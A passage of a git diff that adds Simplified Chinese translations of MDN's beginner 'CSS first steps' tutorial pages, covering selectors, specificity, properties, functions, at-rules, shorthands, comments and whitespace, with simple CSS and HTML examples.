id="选择器">选择器</h2> + +<p>讲到CSS就不得不说到选择器, 并且在之前的辅导教程中我们已经列举了一些不同的选择器。为了样式化某些元素,我们会通过选择器来选中HTML文档中的这些元素。如果你的样式没有生效,那很可能是你的选择器没有像你想象的那样选中你想要的元素。</p> + +<p>每个CSS规则都以一个选择器或一组选择器为开始,去告诉浏览器这些规则应该应用到哪些元素上。以下都是有效的选择器或组合选择器的示例。</p> + +<pre class="brush: css notranslate">h1 +a:link +.manythings +#onething +* +.box p +.box p:first-child +h1, h2, .intro</pre> + +<p>尝试创建一些使用上述选择器的CSS规则,并创建一些HTML样式。如果您不知道上面的一些语法意味着什么,请尝试在MDN上搜索它!</p> + +<div class="blockIndicator note"> +<p>注意:在下一个模块中,您将在我们的<strong>CSS选择器</strong>教程中了解更多关于选择器的内容。</p> +</div> + +<h3 id="专一性">专一性</h3> + +<p>通常情况下,两个选择器可以选择相同的HTML元素。考虑下面的样式表,其中我有一个规则,其中有一个将段落设置为蓝色的p选择器,还有一个将选定元素设置为红色的类。</p> + +<pre class="brush: css notranslate">.special { + color: red; +} + +p { + color: blue; +}</pre> + +<p>比方说,在我们的HTML文档中,我们有一个带有特殊类的段落。这两条规则都适用,那么谁赢了?你认为我们的段落会变成什么颜色?</p> + +<pre class="brush: html notranslate"><p class="special">What color am I?</p></pre> + +<p>CSS语言有规则来控制在发生碰撞时哪条规则将获胜--这些规则称为级联规则和专用规则。在下面的代码块中,我们为p选择器定义了两个规则,但是段落最后是蓝色的。这是因为将其设置为蓝色的声明将出现在样式表的后面,而稍后的样式将覆盖以前的样式。这就是起作用的级联。</p> + +<pre class="brush: css notranslate">p { + color: red; +} + +p { + color: blue; +}</pre> + +<p>但是,在我们使用类选择器和元素选择器的早期块中,类将获胜,使得段落变红--即使它出现在样式表的前面。一个类被描述为比元素选择器更具体,或者具有更多的特异性,所以它获胜了。</p> + +<p><strong>自己试试上面的实验--将HTML添加到您的实验中,然后将两个p{.}规则添加到样式表中。接下来,将第一个p选择器更改为.Special,以查看它如何更改样式。</strong></p> + +<p>一开始,具体性和层叠的规则看起来有点复杂,一旦你积累了更多的CSS知识,就更容易理解了。在我们的级联和继承文章(将在下一个模块中讨论)中,我将详细解释这一点,包括如何计算专用性。现在,请记住这是存在的,有时CSS可能不会像您预期的那样应用,因为样式表中的其他内容具有更高的特异性。确定一个元素可以适用不止一个规则是解决这些问题的第一步</p> + +<h2 id="属性和值">属性和值</h2> + +<p>在最基本的层面上,CSS由两个组成部分组成:</p> + +<ul> + <li><strong>属性:</strong>人类可读的标识符,指示您想要更改的样式特征(例如<code><a href="/en-US/docs/Web/CSS/font-size">font-size</a></code>, <code><a href="/en-US/docs/Web/CSS/width">width</a></code>, <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code>) 你想改变。</li> + <li><strong>值:</strong>每个指定的属性都有一个值,该值指示您希望如何更改这些样式特性(例如,要将字体、宽度或背景色更改为。)</li> +</ul> + +<p>下面的图像突出显示单个属性和值。 属性名为 <code>color</code>, 值为 <code>blue</code>.</p> + +<p><img alt="A declaration highlighted in the CSS" src="https://mdn.mozillademos.org/files/16498/declaration.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0px auto; width: 471px;"></p> + +<p>与值配对的属性称为CSS声明。CSS声明放在CSS声明块中。下一张图片显示了我们的CSS,并突出显示了声明块。</p> + +<p><img alt="A highlighted declaration block" src="https://mdn.mozillademos.org/files/16499/declaration-block.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0px auto; width: 471px;"></p> + +<p>最后,CSS声明块与选择器配对,以生成CSS规则集(或CSS规则)。我们的图像包含两个规则,一个用于H1选择器,另一个用于p选择器。h1的规则被突出显示。</p> + +<p><img alt="The rule for h1 highlighted" src="https://mdn.mozillademos.org/files/16500/rules.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0px auto; width: 471px;"></p> + +<p>将CSS属性设置为特定值是CSS语言的核心功能。CSS引擎计算哪些声明应用于页面的每个元素,以便适当地布局和样式它。重要的是要记住,在css中,属性和值都是区分大小写的。每对中的属性和值由冒号(:)分隔。</p> + +<p><strong>尝试查找以下属性的不同值,并编写将它们应用于不同HTML元素的CSS规则:</strong><strong> </strong></p> + +<ul> + <li><strong>{{cssxref("font-size")}}</strong></li> + <li><strong>{{cssxref("width")}}</strong></li> + <li><strong>{{cssxref("background-color")}}</strong></li> + <li><strong>{{cssxref("color")}}</strong></li> + <li><strong>{{cssxref("border")}}</strong></li> +</ul> + +<div class="warning"> +<p><strong>重要事项:</strong>如果属性未知或某个值对给定属性无效,则声明被视为无效,并被浏览器的CSS引擎完全忽略。</p> +</div> + +<div class="warning"> +<p><strong>重要:</strong>在CSS(和其他网络标准)中,当语言表达存在不确定性时,美国的拼写被视作公认的标准。例如,颜色应该始终拼写为color。colour是不起作用的。</p> +</div> + +<h3 id="函数">函数</h3> + +<p>虽然大多数值是相对简单的关键字或数值,但也有一些可能的值以函数的形式出现。一个例子是calc()函数。这个函数允许您在CSS中进行简单的计算,例如:</p> + +<div id="calc_example"> +<pre class="brush: html notranslate"><div class="outer"><div class="box">The inner box is 90% - 30px.</div></div></pre> + +<pre class="brush: css notranslate">.outer { + border: 5px solid black; +} + +.box { + padding: 10px; + width: calc(90% - 30px); + background-color: rebeccapurple; + color: white; +}</pre> +</div> + +<p>如下所示:</p> + +<p>{{EmbedLiveSample('calc_example', '100%', 200)}}</p> + +<p>一个函数由函数名和一些括号组成,其中放置了该函数的允许值。在上面的calc()示例中,我要求此框的宽度为包含块宽度的90%,减去30像素。这不是我可以提前计算的东西,只是在CSS中输入值,因为我不知道90%会是什么。与所有值一样,MDN上的相关页面将有使用示例,这样您就可以看到函数是如何工作的。</p> + +<p>另一个例子是{{cssxref("<transform>")}}, 例如 <code>rotate()</code>.</p> + +<div id="transform_example"> +<pre class="brush: html notranslate"><div class="box"></div></pre> + +<pre class="brush: css notranslate">.box { + margin: 30px; + width: 100px; + height: 100px; + background-color: rebeccapurple; + transform: rotate(0.8turn) +}</pre> +</div> + +<p>以上代码的输出如下所示:</p> + +<p>{{EmbedLiveSample('transform_example', '100%', 200)}}</p> + +<p><strong>尝试查找一下属性的不同值,并编写将他们应用于不同HTML元素的CSS规则:</strong></p> + +<ul> + <li><strong>{{cssxref("transform")}}</strong></li> + <li><strong>{{cssxref("background-image")}}, in particular gradient values</strong></li> + <li><strong>{{cssxref("color")}}, in particular rgb/rgba/hsl/hsla values</strong></li> +</ul> + +<h2 id="规则">@规则</h2> + +<p>到目前为止,我们还没有遇到 <code><a href="/en-US/docs/Web/CSS/At-rule">@rules</a></code> (pronounced "at-rules"). 这是一些特殊的规则,为 CSS提供了一些关于如何表现的指导。 有些<code>@rules</code> 规则很简单,有规则名和值。例如,要将额外的样式表导入主CSS样式表,可以使用<code>@import</code>:</p> + +<pre class="brush: css notranslate">@import 'styles2.css';</pre> + +<p>您将遇到的最常见的 <code>@rules</code> 之一是@media,它允许您使用 <a href="/en-US/docs/Web/CSS/Media_Queries">媒体查询 </a>来应用CSS,仅当某些条件成立(例如,当屏幕分辨率高于某一数量,或屏幕宽度大于某一宽度时)。</p> + +<p>在下面的 CSS中,我们将给 <code><body></code> 元素一个粉红色的背景色。但是,我们随后使用@media创建样式表的一个部分,该部分仅适用于视口大于30em的浏览器。如果浏览器的宽度大于30em,则背景色将为蓝色。</p> + +<pre class="brush: css notranslate">body { + background-color: pink; +} + +@media (min-width: 30em) { + body { + background-color: blue; + } +}</pre> + +<p>在这些教程中,你将遇到一些其他的规则 <code>@rules</code> </p> + +<p><strong>查看是否可以将媒体查询添加到CSS中,该查询将根据视口宽度更改样式。更改浏览器窗口的宽度以查看结果。</strong></p> + +<h2 id="速记属性">速记属性</h2> + +<p>一些属性,如 {{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}}, and {{cssxref("margin")}} 等属性称为速记属性--这是因为它们允许您在一行中设置多个属性值,从而节省时间并使代码更整洁。</p> + +<p>例如,这一行代码:</p> + +<pre class="brush: css notranslate">/* In 4-value shorthands like padding and margin, the values are applied + in the order top, right, bottom, left (clockwise from the top). There are also other + shorthand types, for example 2-value shorthands, which set padding/margin + for top/bottom, then left/right */ +padding: 10px 15px 15px 5px;</pre> + +<p>与这四行代码是等价的:</p> + +<pre class="brush: css notranslate">padding-top: 10px; +padding-right: 15px; +padding-bottom: 15px; +padding-left: 5px;</pre> + +<p>这一行:</p> + +<pre class="brush: css notranslate">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> + +<p>与这五行代码是等价的:</p> + +<pre class="brush: css notranslate">background-color: red; +background-image: url(bg-graphic.png); +background-position: 10px 10px; +background-repeat: repeat-x; +background-attachment: fixed;</pre> + +<p>我们现在不打算详尽地教授这些内容--在后面的课程中,您将看到许多例子,我们建议您查找CSS参考中的速记属性名称,以查找更多内容。</p> + +<p>尝试将上述声明添加到CSS中,看看它如何影响HTML的样式。试着尝试一些不同的属性值。</p> + +<div class="blockIndicator warning"> +<p><strong>警告</strong>:虽然速记经常允许您忽略值,但它们会将不包含的任何值重置为它们的初始值。这确保使用了一组合理的值。但是,如果您期望速记只更改传入的值,这可能会使您感到困惑。</p> +</div> + +<h2 id="注释">注释</h2> + +<p>与任何的代码工作一样,在编写CSS过程中,最好的练习方式就是添加注释。这样做可以帮助您在过了几个月后回来修改或优化代码时了解它们是如何工作的,同时也便于其他人理解您的代码。</p> + +<p>CSS中的注释以/*开头,以*/结尾。在下面的代码块中,注释标记了不同代码节的开始。当代码库变得更大时,这对于帮助您导航代码库非常有用--在代码编辑器中搜索注释可以高效地定位代码节。</p> + +<pre class="brush: css notranslate">/* Handle basic element styling */ +/* -------------------------------------------------------------------------------------------- */ +body { + font: 1em/150% Helvetica, Arial, sans-serif; + padding: 1em; + margin: 0 auto; + max-width: 33em; +} + +@media (min-width: 70em) { + /* Let's special case the global font size. On large screen or window, + we increase the font size for better readability */ + body { + font-size: 130%; + } +} + +h1 {font-size: 1.5em;} + +/* Handle specific elements nested in the DOM */ +/* -------------------------------------------------------------------------------------------- */ +div p, #id:first-line { + background-color: red; + border-radius: 3px; +} + +div p{ + margin: 0; + padding: 1em; +} + +div p + p { + padding-top: 0; +}</pre> + +<p>“注释掉”代码这一操作常用于在测试中临时禁用一段代码。例如,如果您试图找出代码的哪一部分会导致错误。在下例中,<code>.special</code> selector规则被“注释”掉了,也就是被禁用了。</p> + +<pre class="brush: css notranslate">/*.special { + color: red; +}*/ + +p { + color: blue; +}</pre> + +<p>添加一些注释到您的CSS,以适应使用他们。</p> + +<h2 id="空白">空白</h2> + +<p>空白是指实际空格、制表符和新行。以与HTML相同的方式,浏览器往往忽略CSS中的大部分空白;许多空白只是为了提高可读性。</p> + +<p>在下面的第一个示例中,我们将每个声明(以及规则开始/结束)都放在自己的行中--这可以说是编写CSS的好方法,因为它使维护和理解变得更加容易:</p> + +<pre class="brush: css notranslate">body { + font: 1em/150% Helvetica, Arial, sans-serif; + padding: 1em; + margin: 0 auto; + max-width: 33em; +} + +@media (min-width: 70em) { + body { + font-size: 130%; + } +} + +h1 { + font-size: 1.5em; +} + +div p, +#id:first-line { + background-color: red; + border-radius: 3px; +} + +div p { + margin: 0; + padding: 1em; +} + +div p + p { + padding-top: 0; +} +</pre> + +<p id="Very_compact">您可以编写完全相同的CSS,删除大部分空格--这在功能上与第一个示例相同,但我相信您肯定也觉得阅读起来有点困难:</p> + +<pre class="brush: css notranslate">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} +@media (min-width: 70em) { body {font-size: 130%;} } + +h1 {font-size: 1.5em;} + +div p, #id:first-line {background-color: red; border-radius: 3px;} +div p {margin: 0; padding: 1em;} +div p + p {padding-top: 0;} +</pre> + +<p>您选择的代码布局通常是个人偏好,尽管当您开始在团队中工作时,您可能会发现现有团队有自己的样式指南,指定要遵循的约定。 </p> + +<p>在CSS中,属性和它们的值之间的空格需要小心。</p> + +<p>例如,以下声明是有效的CSS:</p> + +<pre class="brush: css notranslate">margin: 0 auto; +padding-left: 10px;</pre> + +<p>以下内容无效:</p> + +<pre class="brush: css notranslate">margin: 0auto; +padding- left: 10px;</pre> + +<p>“0auto”不被识别为边距属性的有效值(“0”和“AUTO”是两个独立的值),而浏览器会将“padding- ”识别为有效属性。因此,您应该始终确保通过至少一个空格将不同的值分隔开来,但将属性名称和属性值作为单个未中断的字符串放在一起。</p> + +<p>试着在CSS中使用空格,看看什么情况下破坏了东西,什么时候没有破坏<strong>。</strong></p> + +<h2 id="接下来是什么?">接下来是什么?</h2> + +<p>了解一下浏览器如何将HTML和CSS转换成网页是很有用的, 所以在下一篇文章 — <a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS是如何工作的</a> — 我们将看看这个过程。</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/开始", "Learn/CSS/First_steps/CSS如何运行", "Learn/CSS/First_steps")}}</p> + +<h2 id="在这个模块中">在这个模块中</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是CSS?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">开始使用CSS </a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">如何构建CSS </a><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured"> </a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS是如何工作的</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">使用你的新知识</a></li> +</ol> diff --git a/files/zh-cn/learn/css/first_steps/index.html b/files/zh-cn/learn/css/first_steps/index.html new file mode 100644 index 0000000000..8518b2b14c --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/index.html @@ -0,0 +1,51 @@ +--- +title: 学习CSS 第一步 +slug: Learn/CSS/First_steps +tags: + - 初学者 + - 学习 + - 模型 + - 第一步 +translation_of: Learn/CSS/First_steps +--- +<div><font><font>{{LearnSidebar}}</font></font></div> + +<p class="summary"><font><font>CSS(层叠样式表)用于设置和布置网页 - 例如,更改内容的字体,颜色,大小和间距,将其拆分为多个列,或添加动画和其他装饰功能。</font><font>这个模块为你掌握CSS的过程提供了一个温和的开端,包括它如何工作的基础知识,语法是什么样的,以及如何开始使用它来为HTML添加样式。</font></font></p> + +<h2 id="先决条件"><font><font>先决条件</font></font></h2> + +<p><font><font>在开始本单元之前,您应该:</font></font></p> + +<ol> + <li><font><font>基本熟悉使用计算机,并被动地使用Web(即查看它,消费内容)。</font></font></li> + <li><font><font>基本工作环境的设置详见</font></font><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software"><font><font>安装基本软件</font></font></a><font><font>,并了解如何创建和管理文件,详见</font></font><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files"><font><font>处理文件</font></font></a><font><font>。</font></font></li> + <li>熟悉 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a> 章节中提到的基本HTML知识.</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 如果你工作在一个无权创建自己文件的电脑/平板/其他设备上,你需要在一个在线编程工具上试验 (大多数)代码示例,如 <a href="http://jsbin.com/">JSBin</a> 或者 <a href="https://thimble.mozilla.org/">Thimble</a> 等。</p> +</div> + +<h2 id="指南">指南</h2> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">该模块包含以下文章</span></span> , 这些文章将带您了解CSS的所有基本理论,并提供测试一些技能的机会。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是 CSS?</a></dt> + <dd><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets) 使你创建外观漂亮的网页,但它如何起作用的呢?这篇文章用一个简单的语法示例解释CSS是什么,还包括有关该语言的一些关键术语。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">CSS 入门</a></dt> + <dd>在本文中,我们将采用一个简单的HTML文档并将CSS应用于该文档,并在此过程中学习一些关于语言的实用内容。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">如何构建CSS? </a></dt> + <dd>现在您已经了解了CSS是什么以及使用它的基础知识,现在是时候更深入地了解语言本身的结构。在这里,我们已经遇到了讨论过的许多概念; 如果你发现任何令人困惑的概念,你可以回到这个回顾。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS 如何工作</a></dt> + <dd>我们已经学习了CSS基础理论:CSS是什么以及如何编写简单的样式表。在这个课程中,我们将看看浏览器如何使用CSS和HTML并将其转换为网页。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">用用你刚学到的知识</a></dt> + <dd><font><font>根据您在最后几课中学到的内容,您应该发现可以使用CSS格式化简单的文本文档,以便为它们添加自己的样式。</font><font>本文为您提供了实现这一目标的机会。</font></font></dd> +</dl> + +<h2 id="相关链接">相关链接</h2> + +<dl> + <dt><a href="https://teach.mozilla.org/activities/intermediate-web-lit/"><font><font>中级网络识字1:CSS简介</font></font></a></dt> + <dd><font><font>一个优秀的Mozilla基础课程,探索和测试</font></font><em><font><font>CSS</font></font></em><font><font>模块</font><em><font>简介中</font></em><font>谈到的许多技能</font><font>。</font><font>了解在网页上设置HTML元素的样式,CSS选择器,属性和值。</font></font></dd> +</dl> diff --git a/files/zh-cn/learn/css/first_steps/using_your_new_knowledge/index.html b/files/zh-cn/learn/css/first_steps/using_your_new_knowledge/index.html new file mode 100644 index 0000000000..49b2fb8e88 --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/using_your_new_knowledge/index.html @@ -0,0 +1,104 @@ +--- +title: 运用你的新知识 +slug: Learn/CSS/First_steps/Using_your_new_knowledge +tags: + - CSS + - 新手 +translation_of: Learn/CSS/First_steps/Using_your_new_knowledge +--- +<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> + +<p class="summary">通过在前几节课程中学到的知识,你应该学会了用CSS组织一个简单的文本文件,并且在其中添加自己的CSS样式。本节中你将实现这一功能。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td> + <p>基本熟悉使用计算机,<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本工作环境的设置</a>,基本的<a href="/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理知识</a>,基本的HTML知识(在<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a>中学习)和CSS基础(查看本模块其他内容)</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td> + <p>尝试使用一些CSS的新玩法并检验新的知识</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="先决条件">先决条件</h2> + +<p>你可以使用下面的实时编辑器,或者下载这个<a href="https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/">download the starting point</a>在自己的编辑器中进行编辑。这是一个独立的HTML文件,在head中包含了初始CSS样式。你可以将这些CSS样式从HTML文件中移出,保存为另一个独立文件。你可以选择CodePen、jsFiddle或Glitch中的任意一个完成这些工作。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>如果遇到困难,你可以向我求助——参见本页下面的<a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge#测评或请求帮助">测评或请求帮助</a>页面。</p> +</div> + +<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>让我们来学一些CSS样式</strong></span></font></p> + +<p>接下来的实例是一个个人主页,我们用CSS设定它的样式。以下是我用到的一些CSS属性,通过这些链接,你可以打开相应的MDN页面了解更多。</p> + +<ul> + <li>{{cssxref("font-family")}}</li> + <li>{{cssxref("color")}}</li> + <li>{{cssxref("border-bottom")}}</li> + <li>{{cssxref("font-weight")}}</li> + <li>{{cssxref("font-size")}}</li> + <li>{{cssxref("text-decoration")}}</li> +</ul> + +<p>我使用了许多不同的选择器(样式元素),如h1和h2,也为工作职务建立了一个类别。</p> + +<p>尝试使用CSS更改这一页面的显示,试着修改已有属性的取值,删除一些规则,或添加新的样式。然后通过<a href="/zh-CN/docs/Web/CSS/Reference">CSS 参考</a>找到本文未提及的一些属性,尽管大胆尝试!</p> + +<p>举例来说,你可以:</p> + +<ul> + <li>使用CSS的颜色关键词hotpink,将一级标题设定为粉红色。</li> + <li>使用CSS颜色关键词purple,为标题添加10像素宽的点线边距。</li> + <li>将二级标题设为斜体。</li> + <li>用#eeeeee为联系人列表中的超链接添加背景颜色和一个5像素宽的紫色加粗边框。使用一些内边距属性,拉开正文与外边距的距离。</li> + <li>当鼠标在某些HTML元素上悬停时增加动画 (推荐改变颜色和字体)。</li> + <li>设置链接在鼠标悬停时变为绿色。</li> +</ul> + +<p>最终,你得到的页面将如下图所示:</p> + +<p><img alt="Screenshot of how the example should look after completing the assessment." src="https://mdn.mozillademos.org/files/17035/learn-css-basics-assessment.png"></p> + +<p>记住这里没有错误的答案——在这个阶段你可以在学习中娱乐一下。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/biog.html", '100%', 1600)}} </p> + +<h2 id="测评或请求帮助">测评或请求帮助</h2> + +<p>如果你希望测试你的页面,或者你遇到困难想要求助,你可以:</p> + +<ol> + <li>将你的文件提交到可网络共享的编辑器,如CodePen、jsFiddle或Glitch。</li> + <li>在MDN论坛(<a href="https://discourse.mozilla.org/c/mdn" rel="noopener">MDN Discourse forum</a>)发帖请求测评或帮助。发帖时添加“学习”的标签,这样我们能够更容易找到它。你的帖子应包括以下内容:</li> +</ol> + +<ul> + <li>一个描述性标题,例如“CSS的初步尝试需要测试”。</li> + <li>详细描述你希望我们做些什么——比如,你已经尝试过了,但是卡住了,需要帮助。</li> + <li>你希望测试的例子的在网络编辑器上的链接。这是很好的做法,因为如果不让帮助你的看到你的程序,他们就很难帮助你解决程序的问题。</li> + <li>你的网页的测评页面链接,这样我们就可以找到你所求助的问题。</li> +</ul> + +<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>接下来是什么?</strong></span></font></p> + +<p>恭喜你完成了第一个模块的学习。现在你应该对CSS有了一个大致的了解 并且能够了解在样式表中发生的大多数事情。在下一个模块<a href="/zh-CN/docs/Learn/CSS/Building_blocks">CSS构建</a>中,我们将对一些关键区域进行深入的学习。</p> + +<p>{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> + +<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>本章目录</strong></span></font></p> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是CSS?</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">CSS入门</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS是如何构成的</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行">CSS是如何工作的</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">运用你所学的知识</a></li> +</ol> diff --git a/files/zh-cn/learn/css/first_steps/what_is_css/index.html b/files/zh-cn/learn/css/first_steps/what_is_css/index.html new file mode 100644 index 0000000000..e324f5f1bd --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/what_is_css/index.html @@ -0,0 +1,119 @@ +--- +title: 什么是CSS? +slug: Learn/CSS/First_steps/What_is_CSS +translation_of: Learn/CSS/First_steps/What_is_CSS +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</div> + +<p class="summary"><strong>{{Glossary("CSS")}}</strong> (层叠样式表) 让你可以创建好看的网页,但是它具体是怎么工作的呢? 这篇文章通过一些很简单的例子,告诉我们什么是 CSS,同时还会涉及一些和 CSS 相关的专业术语。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>, <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a> 的基础知识, 还有HTML基础 (学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a>。)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解什么是CSS。</td> + </tr> + </tbody> +</table> + +<p>在 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a> 模块我们学习了HTML是什么,以及如何使用它来组成页面。 浏览器能够解析这些页面。标题部分看起来会比正常文本更大,段落则会另起一行,并且相互之间会有一定间隔。链接通过下划线和不同的颜色与其他文本区分开来。这些都是浏览器的默认样式——当开发者没有指定样式时,浏览器通过这些最简单的样式使页面具有基本可读性。</p> + +<p><img alt="这是浏览器默认样式" src="https://mdn.mozillademos.org/files/17150/example_dlnb526_zh.png" style="height: 463px; width: 1220px;"></p> + +<p>如果所有网站都像上图那样,互联网就会非常枯燥。但是使用 CSS 就可以完全控制浏览器如何显示 HTML 元素,从而充分展示你喜欢的设计样式。</p> + +<h2 id="CSS用来干什么">CSS用来干什么?</h2> + +<p>前文提到过, CSS 是用来指定文档如何展示给用户的一门语言——如网页的样式、布局、等等。</p> + +<p>一份<strong>文档</strong>是由标记语言组织起来的文本文件 —— {{Glossary("HTML")}} 是最常见的标记语言, 但你可能也听说过其他可标记语言,如 {{Glossary("SVG")}} 或 {{Glossary("XML")}}。</p> + +<p><strong>展示</strong>一份文档给用户实际上是将文档变成用户可用的文件。{{Glossary("browser","Browsers")}}:如 {{Glossary("Mozilla Firefox","Firefox")}},{{Glossary("Google Chrome","Chrome")}}, 或 {{Glossary("Microsoft Edge","Edge")}},都可以将文档在电脑屏幕、投影仪或打印机等设备上进行可视化。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 浏览器有时候也被称为 {{Glossary("User agent","user agent")}},大致可以当这个程序是一个存在于计算机系统中的人。 当我们讨论CSS时,浏览器是 User agent 的主要形式, 然而它并不是唯一的一个。还有其他可用的user agents — 像是那些可以把HTML和CSS文档转换为可以打印的PDF文档的软件。</p> +</div> + +<p>CSS 可以用于给文档添加样式 —— 比如改变标题和链接的<a href="/zh-CN/docs/Web/CSS/color_value">颜色</a>及<a href="/zh-CN/docs/Web/CSS/font-size">大小</a>。它也可用于创建布局 —— 比如将一个单列文本变成包含主要内容区域和存放相关信息的侧边栏区域的<a href="/zh-CN/docs/Web/CSS/Layout_cookbook/Column_layouts">布局</a>。它甚至还可以用来做一些特效,比如<a href="/zh-CN/docs/Web/CSS/CSS_Animations">动画</a>。查看本段内容中所给出的特定案例。</p> + +<h2 id="CSS_语法">CSS 语法</h2> + +<p>CSS是一门基于规则的语言 —— 你能定义用于你的网页中特定元素样式的一组规则. 比如“我希望页面中的主标题是红色的大字”</p> + +<p>下面这段代码使用非常简单的 CSS 规则实现了之前提到的效果:</p> + +<pre class="brush: css">h1 { + color: red; + font-size: 5em; +}</pre> + +<p>语法由一个 {{Glossary("CSS Selector", "选择器(selector)")}}起头。 它 <em>选择(selects)</em> 了我们将要用来添加样式的 HTML 元素。 在这个例子中我们为一级标题(主标题{{htmlelement("h1")}})添加样式。</p> + +<p>接着输入一对大括号<code>{ }</code>。 在大括号内部定义一个或多个形式为 <strong>属性(property):值(value);</strong> 的 <strong>声明(declarations)</strong>。每个声明都指定了我们所选择元素的一个属性,之后跟一个我们想赋给这个属性的值。</p> + +<p>冒号之前是属性,冒号之后是值。不同的 CSS {{Glossary("property/CSS","属性(properties)")}} 对应不同的合法值。在这个例子中,我们指定了 <code>color</code> 属性,它可以接受许多<a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#Color">颜色值</a>;还有 <code>font-size</code> 属性,它可以接收许多 <a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages">size units</a> 值。</p> + +<p>一个 CSS 样式表可以包含很多个规则。</p> + +<pre class="brush: css">h1 { + color: red; + font-size: 5em; +} + +p { + color: black; +}</pre> + +<p>你会发现你已经很快掌握了一些属性的值,但是属性可以接受的值远不止这些。在MDN上每个属性都有单独的页面,不论你是忘记了某个属性,还是想要知道一个属性还能接受什么其它的值,这些页面都可以帮助你。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:在MDN上的 <a href="/zh-CN/docs/Web/CSS/Reference">CSS reference</a> 页面列举了所有的 CSS属性页面(同时也包括其它的CSS特性)。 另外,当你想要寻找一个CSS特性的更多内容时,多使用你的搜索引擎来搜索 "mdn <em>css-feature-name</em>" 。例如,搜索 "mdn color" 和 "mdn font-size"!</p> +</div> + +<h2 id="CSS_模块">CSS 模块</h2> + +<p>你可以通过 CSS 为许多东西添加样式,CSS 由许多<em>模块(modules)</em> 构成。你可以在 MDN 上浏览这些模块的参考内容(MDN reference),许多模块都被组织在自己单独的文档页面。例如,我想查找一下 MDN reference 的 <a href="/zh-CN/docs/Web/CSS/CSS_Backgrounds_and_Borders">Backgrounds and Borders</a> 模块的相关内容,来了解它是用来做什么的、它还包括什么属性、它还有什么其它特性等。你也可以在 <em>CSS Specification</em> 查找(见下文),它定义了CSS规范 。</p> + +<p>在这个阶段你不必过于担心 CSS 是如何组织的(how CSS is structured),但是它能帮助你更好的掌握 